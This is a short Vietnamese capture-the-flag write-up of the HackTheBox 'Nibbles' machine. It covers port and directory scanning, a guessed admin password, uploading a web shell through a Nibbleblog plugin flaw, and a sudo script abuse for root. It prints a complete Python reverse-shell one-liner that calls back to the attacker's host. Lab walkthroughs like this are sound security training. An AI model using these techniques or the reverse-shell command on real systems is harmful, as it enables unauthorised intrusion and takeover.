Write-up HackTheBox:Nibbles
Bài đăng này đã không được cập nhật trong 3 năm
Mở đầu
Chúng ta tiếp tục với một machine dễ là Nibbles.
Write-up
Recon
nmap -A -v -p- 10.10.10.75 -o nmap
Ta thấy server đang mở 2 cổng là 80 và 22. Trước tiên mình sẽ vào cổng 80 xem có gì
Mình thử Ctrl+U để xem mã nguồn thì phát hiện ra 1 thư mục mới
Truy cập thử ta thấy là 1 Nibbleblog Sau đó mình dùng searchsploit để kiểm tra xem có gì thú vị không và mình tìm được một lỗi liên quan đến plugin cho phép upload file mà không kiểm tra.
searchsploit nibbleblog
Lỗi này yêu cầu xác thực nên ta phải tìm cách đăng nhập, mình sử dụng gobuster để tìm kiếm các thư mục ẩn.
gobuster dir -w /usr/share/wordlists/dirb/common.txt -u 10.10.10.75 -x php,txt,bak -o gobuster
Sau khi kiểm tra tất cả thư mục thì mình phát hiện được username là admin nhưng mình không thấy password ở đâu.
Mình bắt đầu thử các password và sau một hồi thử thì password là nibbles
Exploit
Giờ ta đã có username và password tiến hành khai thác lỗi ở trên. Đăng nhập và up shell thôi.
http://10.10.10.75/nibbleblog/admin.php?controller=plugins&action=config&plugin=my_image
Sau khi up shell thì sẽ được lưu tại
http://10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php
Lấy shell đầu thôi, mình kiểm tra nc không chạy nên mình sẽ dùng python3 để tạo shell
10.10.10.75/nibbleblog/content/private/plugins/my_image/image.php?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.*.*",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'
Ta có shell đầu
Root
Kiểm tra xem user có thể chạy gì với sudo
sudo -l
Đến đây thì khá là dễ dàng ta chỉ việc tạo trong thư mục trên một file monitor. sh chứa shell
Conclusion
Ở bài này mình thấy mình không học được gì mới
All rights reserved